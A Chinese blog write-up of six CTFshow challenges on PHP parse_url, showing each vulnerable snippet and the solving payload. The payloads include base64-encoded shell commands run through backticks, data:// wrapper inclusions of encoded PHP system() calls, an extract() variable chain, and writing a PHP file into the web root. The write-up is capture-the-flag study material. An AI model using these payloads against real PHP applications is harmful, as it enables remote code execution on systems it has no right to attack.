CTFSHOW PARSE_URL

第一关

parse_url(string $url, int $component = -1): int|string|array|null|false

本函数解析 URL 并返回关联数组,包含在 URL 中出现的各种组成部分。数组的元素值不会 URL 解码。

本函数不是用来验证给定 URL 的有效性的,只是将其分解为下面列出的部分。也会接受不完整或无效的 URL,parse_url() 会尝试尽量正确解析。
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

eval($data['host']);
http://system('id');/suning?v=1&k=2#id
可命令执行但是有了斜杠就会跑到下一行去需要进行绕过
引入一个概念base64可以在Linux使用翻引号执行命令恰好pares 不会进行转义
`echo bHMgLw==  | base64 -d` (ls /)

http://system(`echo bHMgLw==  | base64 -d`);/suning?v=1&k=2#id

最终payload:
http://system(`echo Y2F0IC9mbGFnX2lzX2hlcmUudHh0  | base64 -d`);/suning?v=1&k=2#id

第二关

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:25:53
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

include $data['host'].$data['path'];

程序会去文件包含host path 也就是需要构造文件路径具体需要使用到php伪协议

<?php
$url = "http://data:://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b"; 
echo $url.'</br>';
$parts = parse_url($url);  
var_dump($parts);
?>
//浏览器无法识别+号所以使用%2b

image-20230605144301479

能够执行php代码用户可控可以造成任意任意命令执行

http://data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOw== 

第三关

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

include $data['scheme'].$data['path'];

和第二关一样调换了一下调用路径

$url = "data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOw== "

第四关

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:35
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

$data = parse_url($_GET['u']);

system($data['host']);

image-20230606101302063

使用反引号可以规避出现斜杠转义

<?php
$url = "http://`echo bHMgLwo=  | base64 -d`";  //ls 
echo $url.'</br>';
$parts = parse_url($url);  
var_dump($parts);
?>

第五关

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

extract(parse_url($_GET['u']));
include $$$$$$host;

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。

该函数返回成功导入到符号表中的变量数目。

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
#$a = Cat; $b = Dog; $c = Horse

本题目是个套娃问题,就是使用extract函数将GET传参url中的组成,host变为$host,其值为url中host的值,path、scheme、query等部分也是一样。

这时我们就可以通过参数指向(比如,再将host的值写为scheme,那么$host=scheme,$$host=$scheme=scheme的值),来最终包含我们的php://input伪协议进行文件包含。

GET传参
?u=user://pass:fragment@scheme/?data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOw==%23query
注:%23是#的url编码,如果不写%23直接写#,#后的内容会被浏览器直接过滤掉。

POST传参
<?php phpinfo();?>

这样的话:
$host=scheme
$$host=$scheme=user
$$$host=$user=pass
$$$$host=$pass=fragment
$$$$$host=$fragment=query
$$$$$$host=$query=data://text/plain;base64

第六关

题目代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-12 13:29:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

$data = parse_url($_GET['u']);

file_put_contents($data['path'], $data['host']);

file_put_contents() 函数把一个字符串写入文件中。

与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

语法
file_put_contents(file,data,mode,context)
<?php
$url = "https://<?php phpinfo();?>/var/www/html/1.php"; 
// $a = extract(parse_url($url));
echo $url.'</br>';
$parts = parse_url($url);  
var_dump($parts);
?>
//直接写入<? ?> pares_url 会进行转义因此转换一个思路进行写入把php文件写入js标签里面
//$url = "https://<script language='php'>phpinfo();/var/www/html/1.php";
    

访问执行命令即可

posted @ 2023-06-10 17:19  TTkali  阅读(132)  评论(0编辑  收藏  举报